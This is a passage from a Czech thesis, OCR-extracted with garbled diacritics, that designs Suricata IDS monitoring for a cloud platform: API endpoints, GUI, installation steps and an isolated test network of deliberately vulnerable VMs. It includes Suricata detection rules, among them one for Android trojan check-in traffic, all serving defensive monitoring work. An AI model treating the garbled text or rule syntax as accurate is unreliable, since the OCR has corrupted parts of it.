Otéazka flexibility je zde jednoduché, takovy daemon neni vdzany na mo-
nitorovaci zarizeni, server by si musel drzet zpétnou kompatibilitu, tedy pod-
porovat béh vice verzi APIL.

3.2.5.2 Centralizovany daemon

Centralizovany daemon by byl takovy daemon umistény na serveru, ktery by
se pomoci SSH pripojoval k jednotlivym strojum.

Drzeni aktudlnosti verze by vypadalo tak, ze daemon na serveru by s aktu-
alizac{ verze rozeslal zprdvu vSem strojim at provedou aktualizaci. Ostatnim
vypnutym strojum by musel tuto skute¢nost ohlasit az pti zapnuti.

Komunikace by byla efektivnéjsi nez v pfedchozim piipadé. Verze se totiz
neaktualizuje prilis ¢asto, takze v predchozim pripadé se stroje budou stéale
hlasit o novou verzi, jenze vétSinou zadna zména nenastane. Toto feSeni od-
bouréd kazdodenni ptani se na verzi, naopak server bude posilat pouze zpravy
s aktualizaci, jakmile k néjaké dojde. Server se ale musi prihlasit ke vSem
strojum a provést aktualizaci.

Co se tyce bezpecCnosti, tak na kazdém virtudlnim stroji musi byt role,
ktera bude mit vyssi pravomoci, aby byla schopna provést aktualizaci, ke které
se bude server prihlasovat. Zde je riziko zneuziti role, pokud se utocnikovi
podari napr. prolomit heslo.

Monitoring spravného chovani daemona by mohl probihat tak, ze po zjisténi,
ze doslo k aktualizace, by se mohl ohldsit administratorovi, ktery aktuali-
zaci provedl. Dale muze byt na serveru seznam neaktualizovanych systému a
jakmile dojde k aktualizaci daného systému, tak se ze seznamu odebere. Pokud
by néktery systém odeslal na server zpravu a byl stile v seznamu neaktuali-
zovanych systému, tak by to mohlo znamenat chybu daemona.

Pro centralizovaného daemona by se dala vyuzit technologie salt, kde by
server byl salt master a jednotlivé monitorovaci stroje salt minioni. Problém
tohoto Teseni ale muze byt v aktualizacich, protoze pokud by na monito-
rovacim stroji mél uzivatel starsi operacni systém, tak by mohlo byt rizeni
aktualizaci obtizné a mohlo by to znamenat potencidlni nebezpeci.
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3.2.5.3 Centralni daemon I1I.

Dalsim moznym fesenim by mohlo byt, Ze by se verze monitorovaciho zarizeni
posilala ve zpravé s logy o udalostech a v pripadé, Ze by server zaznamenal,
ze jiz vysla nova verze, a tedy priSel zdznam z neaktualizovaného systému,
tak by se daemon pripojil na server a provedl aktualizaci. Vzhledem k tomu,
ze server musi zajistit kompatibilitu i se starsimi verzemi, tak mtze i takovou
zpravu stale ulozit.

Efektivnost komunikace ale utrpi v tom, Ze vsechny logy, které budou
posilat virtualni stroje, budou vétsi. Naopak se ale nebudou neustdle ptat,
zda nevysla nova verze.

Kontrola, zda daemon funguje spravné, by spocivala pouze v tom, ze pokud
by virtudlni stroj stdle posilal zpravy se Spatnou verzi, tak by to znamenalo
chybu.

3.2.5.4 Diskuse a vybér reseni

Jako nejlepsi feseni vzhledem k zadani zvolim moznost s port mirroringem.
Tento zplsob Teseni nejméné ovliviuje zdkazniky, protoze nesnizim vykon je-
jich pocita¢t a zaroven se nezvysuje latence sité kvili zpomaleni u firewallu.
U port mirroringu sice ztracime moznost aktivniho zahazovani packett, ale
na druhou stranu je nutné brat v potaz, ze zdkazniky musime chranit, ale
nesmime je omezovat, protoze pokud by vznikala velka latence na siti nebo
pridané softwary u zakazniky zabiraly moc vypocetniho vykonu, tak by to
mohlo vést k tomu, ze by zdkaznik chtél bud’ vypnout monitorovani anebo by
odesel k jiné firmé, coz neni zddouci. Ztrata moznosti zapnout v rezimu IPS
neni jen kvuli tomuto reseni, protoze dalsi nové funkcionality, napr. multi-
tenancy, softwaru Suricata neumoznuji zapnuti v rezimu IPS.

Kdyz tedy uvazuji feseni pomoci port mirroringu, tak jiz neni problém
resit aktualizace na jednotlivych virtualnich strojich, protoze tyto stroje jsou
pouze administratora a nevadi, Ze na nich pobézi dalsi pridany software. Volim
tedy moznost na kazdém pocitaci jeden daemon, kde potiebné funkcionality
daemona budou integrovany do programu na odesilani logt.

Jak jsem jiz zminil v ¢asti o bezpecnosti, tak tyto monitorovaci stroje
mohou byt pfipojeny do vefejné sité. Z toho divodu nesmi komunikovat ani
nijak manipulovat s privatnim rozhrani infrastruktury. Jenze podpirny pro-
gram na spravu a sbér logi ke své praci néktera interni data nutné potiebuje,
napf. potfebuje znat id stroje, nic_id neboli fyzické &islo sifové karty. Toto
bezpec¢nostni riziko je vyreSeno tak, Ze program na monitorovacich strojich
nebude s vnitinim API komunikovat napiimo, ale bude komunikovat s dalSim
virtudlnim strojem, ktery jsem pojmenoval Suricata Vymé&nik, ze kterého si
bude periodicky brat data API. Celd komunikace mezi Monitorovacimi stroji,
Suricata Vyménikem a Vnitinim API probihd po vnitini siti. Schéma komu-
nikace je vidét na obrézku
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Nyni popisu jednotlivé operace:

¢ (Odesilani Logti — Monitorovaci stroje budou periodicky odesilat pomoci
PUT logy na Suricata Vyménik, na ktery se periodicky bude dotazovat
Vnit¥ni API pomoci GET. Ve schéma oznaceno Cervené.

e Ziskavani konfigurace — Vnit¥ni API pii zméné konfigurace monitoro-
vaciho stroje odesle pomoci PUT novou konfiguraci na Suricata Viménik
a nastavi priznak, ze doslo ke zméné konfigurace. Monitorovaci stroj tato
data preCte a zméni priznak, ze doslo ke zméné konfigurace. Ve schéma

oznaceno modre.

o Update softwaru Suricata — Potom co si Monitorovaci stroj aktualizuje
verzi softwaru Suricata, tak pomoci operace PUT na Suricata Vyménik
aktualizuje data, ze kterého si to pomoci operace GET vezme Vnit#ni API.
Na schéma oznaceno zelené.

Verejna Sit

Privatni Sit

Monitorpvaci Stroj

PUT soubory s logy

Suricata Vymeénik

GET soubory s logy

Vnitfni API

GET konfiguraci

<

PUT konfigurace

<

Obrazek 3.2: Schéma komunikace daemona s API
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3.3 Navrh API

V této ¢asti se budu vénovat navrhiim jednotlivych endpointi, tedy rozhrani
na ukladani logii a rozhrani, kterd budou zprostredkovavat potfebné informace
pro monitorovaci stroje.

3.3.1 SuricataRules

Ukolem tohoto endpointu je uchovani pravidel. Je nutné zajistit podporu
sdileni pravidel mezi vice sitovymi rozhranimi. Od toho bude slouZit atri-
but global, ktery bude urcovat, zda je pravidlo automaticky pouzito na vsech
monitorovacich strojich a nebo pokud je pravidlo LOCAL, tak bude pouzito
jen na konkrétnich strojich.

Endpoint slouzi jako seznam pravidel, na ktery bude v dalsich endpointech
odkazovano. Proto je potfeba u mazani pocitat s tim, zZe na néj mohou byt
odkazy a pokud existuji, tak pravidlo nelze smazat.

Nézev endpointu: v1/suricatarules

Atributy:

unique, kli¢, muze byt

id unsigned int . o ¢islo pravidla
autoincrement, povinny
rule text povinny, muze byt dlouhé | znéni pravidla
povinny, jen pro operace datum posledni zmény, pii operacich

changedate | date

get a getAll create a update je nutné aktualizovat

global

povinny, nabyva hodnot

enum (vi€et) | 1 OBAL a LOCAL

priznak, zda je pravidlo globalni

comment text nepovinny komentar s popisem pravidla
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Nyni uvedu, jak budou vypadat operace get, get all, put, push, edit.

1.

get: url vl/suricatarules/@id - vrati zdznam s danym id, jinak vrati
HTTP Error 400

. getAll: url v1/suricatarules - vrati vSechny zdznamy

. create: url v1/suricatarules - vytvori novy zdznam (jeho id vrati v od-

povédi), vytvori se jen pokud je validni, jinak vrati error, soucasti zdznamu
neni changedate, ten se vytvori na zakladé aktudlniho data, kdy byl
zédznam vytvoren

. update: url v1/suricatarules/@id - aktualizuje zdznam, pokud id ne-

existuje nebo zaznam neni validni hodi error, soucasti zaznamu neni
changedate, ten se aktualizuje na zakladé aktualniho data

delete: url v1/suricatarules/@id - smaze zdznam, pokud id neexistuje
hodi error
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Priklad operace GET:

{

"id":1,

"rule":"drop tcp $HOME_NET any -> $EXTERNAL_NET any...",
"changedate":"2018-10-25T12:26:00.000Z",
"global":"GLOBAL",

"comment":"toto je muj komentar"

}
Priklad operaci CREATE i UPDATE:

{

"rule":"drop tcp $HOME_NET any -> $EXTERNAL_NET any...",
"global":"GLOBAL",

"comment":"toto je muj komentar"

}

3.3.1.1 Endpoint VMS

Nézev endpointu: v1/vms
Tento endpoint obsahuje data o virtudlnich strojich. Do tohoto jiz exis-
tujiciho endpointu navrhuji pridat atributy:

suricataglobalrules | unsigned int array | nepovinné | pole ID globélnich pravidel

suricatalocalrules | unsigned int array | nepovinné | pole ID lokalnich pravidel

Tato ¢isla odkazuji do endpointu v1/suricatarules, pro kazdé ID musi exis-
tovat zdznam v endpointu v1/suricatarules.

Je zapotiebi upravit operace get, getAll, aby se pomoci nich dalo pracovat
s témito atributy.

3.3.2 Suricata

Nézev endpointu: v1/suricata

Smyslem tohoto endpointu bude propojit endpointy v1/suricatarules a
vl/vms do jednoho za tc¢elem snazsi a primocarejsi komunikace.

Zaznamy do tohoto endpointu by se mély propagovat automaticky po
upravach v endpointech v1/suricatarules a v1/vms.

Atributy:

identifikdtor stroje, shodny jako
identifikdtor v v1/vms

pravidla prifazend k danému stroji
Cerpaji se z v1/suricatarules

nic_id | string (24) unique, kli¢, povinny

rules | pole struktur | nepovinny
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Struktura v atributu rules bude mit stejné atributy jako endpoint v1/suricatarules.
Pro ptfipomenuti uvedu parametry:

id unsigned int | id pravidla
rule string znéni pravidla
changedate | date cas posledni zmény
global enum (vycet) | GLOBAL nebo LOCAL
comment strung komentar

Operace:

1. get: url vl/suricata/@id — vrati zdznam s danym id, jinak vrati http
error

2. getAll: url v1/suricata — vrati vSechny zdznamy

Priklad operace GET:
{

"nic_id":"1",
"rules":
L
{"id":1,
"rule":"drop tcp $HOME_NET any -> ...",
"changedate":"2018-10-25T12:26:00.000Z",
"global":"GLOBAL",
"comment":"toto je muj komentar"
3,
{"id":2,
"rule":"drop tcp $HOME_NET any -> ..."
"changedate":"2018-10-25T12:26:00.000Z",
"global":"GLOBAL",
"comment":"toto je muj komentar2"
}
1}

3.3.3 SuricataControl

Nézev endpointu: v1/suricatacontrol

Smyslem tohoto endpointu je drzet stav verze softwaru Suricata na jed-
notlivych sitovych kartach.

Atributy:
nic_id string(24) | unique, kli¢, povinny | fyzické id
suricata_version | string povinny verze softwaru Suricata
auto undate boolean ovinmy identifikator, zda dochéazi
-up P Y k aktualizaci automaticky
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Operace:

1. get — url vl/suricatacontrol/@nic_id — vrati zdznam s danym nic_id,
jinak vrati HT'TP Error 400

2. getAll — url v1/suricatacontrol — vrati vSechny zdznamy
3. create — url v1/suricatacontrol — vytvori zdznam

4. update — url v1/suricatacontrol/@nic_id — aktualizuje zdznam, pokud
zadznam neexistuje, tak vrati error

5. delete — url v1/suricatacontrol/@nic_id — smaze zdznam, pokud nic_id
neexistuje hodi error

Priklad operace GET:

{
|Inic idll . Illll
"suricata_version":"2.1.2",
"auto_update":"true"

}

3.3.4 SuricataController

Tento endpoint bude obsahovat informace pro Tfizeni softwaru Suricata, na
serverech, bude zde uchovéno, které servery s danou sitovkou maji kterou
verzi softwaru Suricata. Z tohoto endpointu se také budou brat pravidla.

Je nutné zde i Tesit, ze uzivatelé nemusi chtit, aby se u nich provadéla
aktualizace automaticky, ale chtéji mit nad tim kontrolu, k tomuto acelu bude
v rozhrani novy atribut. Kvili tomuto musi byt mozné zpétnd kompatibilita.

Tento endpoint sjednocuje informace pro virtualni stroj z predchozich en-
dpoint, aby se musel dotazovat jen na 1 endpoint.

Bude zde atribut change_time, diky kterému se pozné, zda doslo k néjaké
zméné a zda tedy ma program na spravu softwaru Suricata zahdjit aktualizaci.

Nézev endpointu: v1/suricatacontroller

Atributy:

vytvoreny identifikdtor

id string (24) unique, kli¢, povinny | pfi vytvoreni monitorovaciho
stroje

v této strukture budou data
o jednotlivych sitovych
rozhranich monitorovaciho
stroje

suricata_version | string povinny verze softwaru Suricata
identifikator, zda dochézi
automaticky k aktualizaci
¢as posledni zmény této
konfigurace

data structure array | nepovinny

auto_update boolean povinny

change_time timestamp povinny
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Struktura data bude nasledujici, v poslednim sloupci uvedu odkud se data

ziskavaji:
nic_id string (24) fyzické Id z v1l/vms
ip_address string ip adresa sitové karty z vl/vms
if number unsigned int poradi sifové karty z vl/vms
mac_address | string mac adresa sifové karty z vl/vms
le pravidel, u kazdého je jeho &isl
rules pole trojic (int, text, data) po’e })rawde > U kazdé 10 )€ JERO €S0, |, v1/suricata
znéni a datum posledni zmény
Operace:
1. get — url v1/suricatacontroller/@id — vrati zdznam s danym id, jinak

{

vrati HTTP Error 400

. getAll — url vl /suricatacontroller — vrati vsechny zédznamy
. create — url v1/suricatacontroller — vytvori zdznam

. update — url vl/suricatacontroller/@id — aktualizuje zdznam, pokud

zaznam neexistuje, tak vrati error

. delete — url v1/suricatacontroller/Qid - smaze zdznam, pokud id neexis-

tuje hodi error

Priklad operace GET:

"id":"15a6bc318d862a90f5105bcl",
"data":

[

]

{

"nic_id":"1",

"ip":"127.0.0.1",

"if number":O0,
"mac_address":"0123.4567.89ab",

"rules":

L
{"id":1, "rule":"drop tcp $HOME_NET any -> $EXTERNAL_NET
any", "changedate":"2018-10-25T12:26:00.000Z"},
{"id":2, "rule":"drop tcp $HOME_NET any -> $EXTERNAL_NET
any", "changedate":"2018-10-25T12:26:00.000Z"},

]

"suricata_version":"2.1.1",
"auto_update":true,

}
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3.3.5 Uchovavani logi

Dalsim endpointem bude endpoint na uchovavani logi, respektive udalosti.
Tento endpoint byl jiz navrzen v mé bakalafské praci. Pro mé potieby zde ho
ale lehce upravim. Jeho struktura vypadé nasledovné.

Nézev endpointu: v1/suricatalogs

Atributy:

nic_id string (24) | unique, kli¢, povinny fyzické id
datum zapisu, aktualizuje
h inny, j All ’
changedate | date povinny, jen pro operace get a get se pii operaci create
messages text arra; nepovinny seznam zprév, jednotlive
& Y P Y zpravy jsou v JSON formatu
Operace:

1. get — url v1/suricatalogs/@nic_id — vrati zdznam s danym nic_id, jinak
vrati HT'TP Error 400

2. getAll — url v1/suricatalogs — vrati vSechny zédznamy
3. create — url vl /suricatalogs — vytvori zdznam

4. delete — url v1/suricatalogs/@nic_id - smaze zadznam, pokud nic_id nee-
xistuje hodi error

Priklad operace GET:

"nic_id":"1",

"changedate":"2018-10-25T12:26:00.000Z",

"messages":

L
{!"timestamp":“2020—04—06T05:26:38.000259—0400“,"flow_id":
485124973002277 ,"event_type":"flow","src_ip":"192.168.1.12",
"src_port":138,"dest_ip":"192.168.1.255","dest_port":138,
"proto":"UDP","app_proto":"failed","flow":{"pkts_toserver":5,
"start":"2020-04-06T05:26:07.720421-0400" ,"end" :
"2020-04-06T05:26:07.720522-0400" ,"age":0,"state" : "new",
"reason":"timeout","alerted":false}}!,
{!"timestamp":“2020—04—06T05:33:36.000319—O400“,"flow_id":
666394095081383, "event_type":"flow","src_ip":
"£e80:0000:0000:0000:686a:37ff:fe0d:a962","dest_ip":
"££02:0000:0000:0000:0000:0000:0000:0002","proto": "IPv6-ICMP",
"icmp_type":133,"icmp_code":0,"flow":{"pkts_toserver":5,
"reason“:"timeout","alerted":false}}!,

]

}
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3.4 Integrace softwaru Suricata do GUI

Nyni se presunu ke GUI. Je tfeba navrhnout, jakym zpusobem bude probihat
v GUI vybrani monitorovani sitového rozhrani. Bude se jednat o placenou
sluzbu a ze zac¢atku bude potfeba interakce administratora, veskeré tkony jako
je nastaveni port mirroringu, nastaveni pravidel a dalsi bude mit na starosti
administrator systému.

Administrator v GUI bude muset mit moznost vidét a spravovat monito-
rovaci stroje, pridavat je a mazat. Také je potfeba navrhnout moznost pro
spravu pravidel, také s moznosti pridani, zobrazeni, editace a mazani.

3.4.1 Navrh monitorovani sitového rozhrani

Pro moZnost monitorovani siftového rozhrani administrator vyuZije moZnost
editace sifového rozhrani. P¥i editaci zde budou 2 nové select boxy. V jednom
bude mit na vybér seznam vSech monitorovacich stroji a v druhém si bude
moct vybrat na jakém sifovém rozhrani daného monitorovaciho stroje se bude
monitorovat. Dale zde bude mozZnost pfidat na dané sitové rozhrani lokalni
pravidla z nabidky.

Jak jsem uvedl v navrhu, tak cilem je, aby bylo mozné monitorovat jednim
strojem vice monitorovacich stroju ¢ili bude z daného monitorovaného stroje
probihat port mirroring na dané sitové rozhrani monitorovaciho stroje.

Vysledné grafické rozhrani pro vytvoreni monitorovani stroje je vidét zde
nové véci jsou v ¢erveném ramecku.

3.4.2 Interakce s virtualnim strojem

Na zékladé toho, Ze administrator zvoli monitorovani na nékterém sitovém
rozhrani, tak se musi automaticky nastavit port mirroring z daného siftového
rozhrani na zvolené sitové rozhrani monitorovaciho stroje.

Seznam pravidel pro dany monitorovaci virtudlni stroj a jeho sifové roz-
hrani se také bude upravovat v GUI. Kvtli JSON parseru je ale nutné zajistit
escapovani pomoci znaku \ vSech uvozovek v pravidle. Pravidlo se musi na
monitorovaci stroj poslat napriklad takto
alert icmp any any -> any any (msg: \"ICMP Packet found\";).

Dulezitou soucasti pravidla je i signature id, v pravidle psano jako sid.
Musi byt unikdtni napii¢ vsemi pravidly. Bohuzel to nevypada, ze by byl
néjaky standard pro ¢islovani, vyskytuji se nasledujici ID¢ka: 1, 3, 6, 8, 9, 10,
11, 12, 15, 16, 17, 18, 19, 20, 2000005, 2000006, 2000007, ..., 2522820, s tim,
ze i mezi 2000007 a 2522820 je spousta volnych moznosti. Navrhuji, aby se do
sid psalo jako 1000000 a k tomu pri¢ist unikatni ID pravidla.
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Celkové by mohlo pravodlo vypadat takto:
alert icmp any any -> any any (msg: \"ICMP Packet found\";
sid: 1000001;) a vzhledem k tomu, ze Suricata necisluje od 1000000, tak to
pro zatim bude unikatni.

3.4.3 Navrh pridani a zobrazeni monitorovacich stroji a
pravidel

Na zavér v GUI pribude jesté moznost pro administratora spravovat vSechny
monitorovacich stroje a pravidla. Na listé vlevo bude nové polozka Sitovy mo-
nitoring, ktery bude obsahovat 2 polozky: monitorovaci stroje a monitorovaci
pravidla.

O monitorovacich stroju bude vidét nasledujici, obrazek k vidéni zde

ID monitorovaciho stroje integer
nazev monitorovaciho stroje | string

podle barvy bude poznat stav
online/offline/chyba

nazev hypervizoru, na kterém
se monitorovaci stroj nachazi

v nazvech monitorovacich stroju
bude odkaz na jejich konfiguraci
odkaz na zobrazeni

stav monitorovaciho stroje barevny stitek

nazev hypervizoru string

nazvy monitorovacich stoji | string array

pravidla link aplikovanych pravidel
verze softwaru Suricata string

automatickad aktualizace boolean

poznamka string

Pfehled monitorovacich virtualnich stroju

© Fiidej monitorovaci stroj

1 jen-test be-salk2

2 pm-limil

Obréazek 3.4: Prehled monitorovacich virtualnich stroji

A seznam pravidel bude mit tyto atributy, obrézek je opét vidét zde
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ID pravidla integer - unique, kli¢

zékladni pojmenovani

nazev pravidla string pro filtrovant

ano, pokud je globalni,

globalni boolean ne, pokud je lokalni

znéni pravidla string

cas posledni zmény | string

poznamka string

Monitorovaci pravidla °

9 Android  Ano alert hitp SHOME_NET any -> SEXTERNAL_NET 9033 (msg:\"ET MOBILE_MALWARE Android Trojan MSO.PJApps checkin 2V 27.05.2020
Trojan flowestablished,to_server; content\".log\'; http_uri; nocase; content:\'id=\"; http_uri; nocase; content\'softid=\'; http_uri; nocase; 17:43
reference:url virus.netqin. 0.PJAPS.A/; Classtypetrojan-activity; sid:201 2452; rev.2; metadata:affected_product Android,
attack_target Client_Endpoint, deployment Perimeter, tag Android, signature_severity Critical, created_at 2011_03_10, updated_at 2016_07_01:)
6 Hitp  Ne alert hitp any any -> any any (http_response.line; content:\"HTTP/1.0 200 OKY'; sid-1)) 27.052020 (2]
RECI occber
5 index  Ne alert hitp any any -> any any (content\index php\'; http_uri; sid:1;) 18.052020 ([N
0928 | (G
1 PING Ano alerticmp any any -> any any (Msg:\"PING detected\”;) Detekce 18052020 (]
PINGU 0924 | NN
7 smuf  Ano alert icmp SEXTERNAL_NET any > SHOME_NET any (msg:\"GPL SCAN Broadsean Smurf Scanner\; dsize4; icmp_id:0; icmp_seq:)) 27052020 (]
Scanner Az | .
4 ssH  Ano alert ssh any any > any any (msg:\'match SSH software string\" 18.052020 (2]
string 0027 | G
2 SSH Ano alert ssh any any -> any any (msg:\'match SSH protocol version\”)) 18.05.2020 ([N
version 0326 | N
8 TS Ano alert tls any any -> any any (msg:\"SURICATA TLS too many records in packet\’; flowestablished; app-layer- 27052020 (o]
event:tls.t0o_many_records._in_packet; flowint:tls.anomaly.count,s,1; classtype-protocol-command-decods; sid:2230020; rev.1;) T4y | G

Obréazek 3.5: Monitorovaci pravidla
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3.5 Navrh testovaciho prostredi

Dalsi dulezitou casti je navrh bezpecného testovaciho prostiedi. Je potieba
otestovat implementované ¢asti a k tomu budu potrebovat specialni virtualni
stroje, které budou néjakym zpusobem zranitelné. Tyto stroje budu nazyvat
Infikované.

3.5.1 Navrh bezpecnosti testovaciho prostredi

Vzhledem k tomu, zZe vytvarim tmyslné zranitelné virtualni stroje v systému
a tento systém je pod castymi ttoky hackert, tak je nutné zajistit bezpec¢nost
systému. Nikdo neopravnény se tedy nesmi dostat na tyto stroje. V systému
bude proto jesté pred tyto infikované virtudlni stroje umistén firewall, ktery
budou poustét uzivatele pouze na zakladé VPN.

Je nutné zajistit i bezpecénost komunikace pres port mirroring, protoze
provoz jde po privatni siti. Proto se bude port mirroring realizovat az za fi-
rewallem, kde bude umistén jesté softwarovy smérovaé realizovany pomoci
OpenSwitch, ktery bude zajistovat jak port mirroring, tak i distribuovani
packeti ke infikovanym strojim.

3.5.2 Schéma zapojeni testovaciho prostredi

Schéma bezpetného zapojeni s firewallem je vidét zde Na obrazcich je
modfe vyznacena komunikace, kterd probihd po verejné siti a modre cervené
vyznatena po privatni siti. Na zacatku a na konci je vzdy sitové rozhrani,
ktera mé verejnou IP adresu, pokud je cesta vyznac¢ena modie, nebo privatni
IP adresu, pokud je vyznacena cerveneé.
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O) Editace verejného sitoveé rozhrani (Verejna IP)

F *
Poradf rozhran( Verejné IP adresy Primarni adresa
2 r
(] ==
o
o =
(] S
[l ®
Limit uploadu Limit downloadu Model
100 Mbit/s | 100 Mbit/s virtio ¥ ¥ Vynutit IP
Popis
Popis
A
Suricata monitor Index rozhrani
jch-test ¥ 3 ¥
Lokalni pravidla

Index Android Trojan
PING Http
SSH string Smurf Scanner

SSH version . TLS
&

Aktualizuj

Obrazek 3.3: P¥idani sitového rozhrani s moznost{ monitoringu
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——7 ——7 ——7 ——7

| —] | —] | —] | —]
A A A A

Infikovany VM Infikovany VM Infikovany VM Infikovany VM

1 J
e
> @

- =

L C Monitorovaci VM

i

y—/ P
—’ A—
A
. Administrator
Firewall

—

Smérovacé

Obréazek 3.6: Navrzené schéma zapojeni testovaciho prostredi
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KAPITOLA 4

Implementace

V této casti prace popisu implementacni ¢ast prace. Ukazu implementované
schéma nasazeni, jak probihalo vytvofeni monitorovaciho stroje a popisu jeho
spravu. Uvedu také, jak jsem vytvoril testovaci prostiedi.

4.1 Schéma nasazeni

Nasazeni bude vypadat nasledujicim zptsobem. Mame nékolik monitorovacich
virtudlnich stroju, fizenych administratorem, a ty budou pripojeny ke switchy.
Pres tento switch bude probihat veskera komunikace a pomoci port mirroringu
se budou packety duplikovat a posilat se na misto jejich urc¢eni a zaroven na
monitorovaci virtudlni stroje. Na téchto monitorovacich virtudlnich strojich
pobézi software Suricata, ktery bude monitorovat komunikaci, kterd pres néj
pujde.
Schéma nasazeni vypada nasledovné 4.1
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y——"/ y—/ y——/ y——/
— — — i——f
A A A A
Monitorovany VM  Monitorovany VM Monitorovany VM Monitorovany VM

4.

| J
i T—

=y ——: W
mm - =

A

Smeérovad Monitorovaci VM

]
—

A

Administrator

Obréazek 4.1: Schéma nasazeni do systému

2 Vytvoreni monitorovaciho stroje

Zde ukazu jakym zptisobem jsem vytvaiel monitorovaci stroj. Uvedu seznam
kroktu pro vytvoreni:

20

1. VytvoTeni stroje v GUI systému Bigcloud — nejdiive je tieba vybrat si
hardware a opera¢ni systém stroji, pro prehlednost u vybéru jednot-
livych komponent uvedu, typ komponenty (RAM, operacni systém, ...)
— mé doporuceni — komentar, pro¢ takto doporucuji

« RAM -8 GB - velikost opera¢ni paméti, kterd je potreba zavisi na
pouzité konfiguraci, pokud se vyuzije ,, High Performance Configu-
ration“, tak podle [43] by bylo zapotfebi minimalné 32 GB, dalsim
ovliviiujicim faktorem je max-pending-packets, které 7idi, kolik
packettl se zpracovava, nikde se na oficidlnich strankach nepise do-
poruceni, ale napiiklad zde [44] se pise, ze sta¢i 4 GB, ale jinde
v diskusnich férech se pise, ze 4 GB mu nestaci, vzhledem k tomu,
ze na stroji budou bézet i dalsi véci, tak by 8 GB RAM mohlo pro



4.2. Vytvofeni monitorovaciho stroje

zacatek stacit, pfipadné neni problém pozdéji pamét navysit

e Velikost disku — 50 GB — software sdm o sobé moc paméti neza-
bere, véetné zavislosti méné nez 30MB, dale néco zabere operacni
systém a dalsi sluzby, je nutné ale brat v iivahu, ze se na tom stroji
budou néjakou dobu uchovavat logy, které se posilaji periodicky
na API na rozhrani, je nutné uvazovat, ze bude probihat DDoS,
takze se budou logy rychle plnit zaroven se muze dit, ze z néjakého
dtivodu bude sit tak vytiZend nebo ¢4st systému spadne a nebude
tedy mozné posilat logy, tak proto bych pro zvolil kolem 50 GB
paméti, aby byla dostate¢na rezerva

e Vybér operacniho systému — Debian 10 — na typu opera¢niho
systému tplné nezalezi, ale je nutné zajistit aktualnost softwaru Su-
ricata, z vybéru systému, které jsou k dispozici jsem vybral Ubuntu
18.04 a Debian 10, z téchto dvou jsem vybral Debian 10, protoze
v zakladnim stavu obsahuje novéjsi verzi softwaru Suricata, sice
neni problém pridat backport a nainstalovat nejnovéjsi verzi pro
Ubuntu, ale v zakladnim stavu ma Debian 10 novéjsi, a proto ho
doporucuji spise

e Pocet procesori — 8 jader — software Suricata pracuje vice vlaknoveé,
na oficidlnim zdroje neni zminka o optimalnim poctu jader, ale
zde [43] jsou vidét testy s konfiguraci ,, High Performance Configu-
ration“, kterd uvazuje napriklad 16 jader a vzhledem k tomu, Ze
v defaultu se tato moznost nepouziva, tak jsem zvolil jader méné

« Poéet sifovych rozhrani — po¢et monitorovacich stroja +
1 - pocet sitovych rozhrani zavisi na po¢tu monitorovacich stroji,
navic je vhodné pridat jestd jedno sitové rozhrani navic kvili fizeni
samotného virtudlniho stroje, pokud budou 2 monitorované stroje
sdilet pravidla, tak se mohou sdilet i sifové rozhrani

. Pokud jsme zvolili Ubuntu — pfidani package pro nejnovéjsi verzi soft-
waru Suricata — sudo add-apt-repository ppa:oisf/suricata-stable

. Pokud jsme zvolili Debian — doporucuji instalaci z buster-backports
nebo bullseye, zde je momentalné nejnovéjsi verze softwaru Suricata

. Instalace operacniho systému — je i nutné systém aktualizovat

sudo apt-get update

. Piiprava sitovych rozhrani — p¥i monitorovani pfes vefejna sifova roz-
hrani je nutné je nakonfigurovat, pokud jich je vice nez 1, neudéla se to

automaticky, konfiguroval jsem to néasledovné, na monitorovacim stroji
je vytvoren skript, ktery to provede pro vsechna sitova rozhrani
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dhclient

route add default gw <ip adresa default gateway>
dev <jméno sit’ového rozhrani>

ip route add <ip adresa sité& i s maskou> dev <jméno sit’ového
rozhrani> table <Cislo tabulky, volitelné>

ip route add 0/0 via <ip adresa default gateway> dev <jméno
sit’ového rozhrani> table <&islo tabulky>

ip rule add from <ip adresa sit’ového rozhrani> table
<&islo tabulky>

ip rule add to <ip adresa sit’ového rozhrani> table
<€islo tabulky>

P11 vytvareni skriptu jsem vyuzil nasledujici zdroj [45].

6. Instalace softwaru Suricata — instalace probihd pomoci
sudo apt-get install suricata

7. Pridani pravidel — je nutné jesté stahnout pravidla pro software Suricata

e Spustit suricata-update

e Nyni musime upravit pravidla konfigura¢niho souboru, protoze
suricata-update mimo jiné slije vSechna pravidla dohromady a
umisti je do /var/lib/suricata/rules. Konfiguraéni soubor musi
vypadat takto:

default-rule-path: /var/lib/suricata/rules
rule-files:
- suricata.rules

8. Spousténi softwaru Suricata — nyni jsou 2 moznosti, jak software Suricata
spoustét, je mozno spoustét pomoci pridané sluzby, ktera je podporovana
oficidlné softwarem Suricata a nebo pomoci mnou vytvofeného programu

o Nastaveni softwaru Suricata jako sluzby — tento bod bude mit
nékolik mensich, kde budu popisovat jaké spoustét prikazy a uvedu
i pro¢ a co to déla

— cp /1ib/systemd/system/suricata.service /etc/. —zkopiruji
soubor diky, kterému mohu spustit sluzbu suricata.service

— optional — pokud je potieba pfidat vice sitovych rozhrani, tak
je potfeba upravit konfiguracni soubor
/etc/suricata/suricata.yaml, najit zde ¢tvrtou ¢ast, nejlépe
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v konfigura¢nim souboru hledat ,,Step 4: configure common
capture settings®, obdobné jako je tam eth0, tak je tfeba pridat
i dalsi zaznamy [46]
af-packet:
- interface: ens20
cluster-id: 99
cluster-type: cluster_flow
defrag: yes
- interface: ens21
cluster-id: 100
cluster-type: cluster_flow
defrag: yes
- interface: ens22
cluster-id: 101
cluster-type: cluster_flow
defrag: yes
- interface: ens23
cluster-id: 102
cluster-type: cluster_flow
defrag: yes
- interface: ens24
cluster-id: 103
cluster-type: cluster_flow
defrag: yes
— Spusténi sluzby Suricata — systemctl enable suricata.service
— timto nastavime sluzbu suricata.service a bude se spoustét
se systémem
— Vypnout spusténi softwaru Suricata v programu na spravu soft-
waru Suricata — v konfigura¢nim souboru je moznost Run Suricata

e Druhou moznosti je vyuzit muj program, ktery spusti instance soft-
waru Suricata automaticky, budu pouzivat tuto moznost, ale z kraje
testovani jsem vyuzil i tu prvni moznost, proto ji tu uvadim a uka-
zuji tim, ze je i takovd moznost pro automatické spousténi, mij
program vyse zminéné kroky déla sam, tak to poslouzi i pro jejich
vysvétleni

9. Instalace softwaru pro aktualizaci — apt-get install suricata-update

10. Nastaveni rotace eve.json logii — suricata.yaml upravit, aby to vypa-
dalo napr. takto:
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outputs:
- eve-log:
#nastaveni ndzvu souboru, aby obsahoval i cas
filename: eve-%s.json
#Cas, jak Casto se bude log obméiovat
rotate-interval: 5m

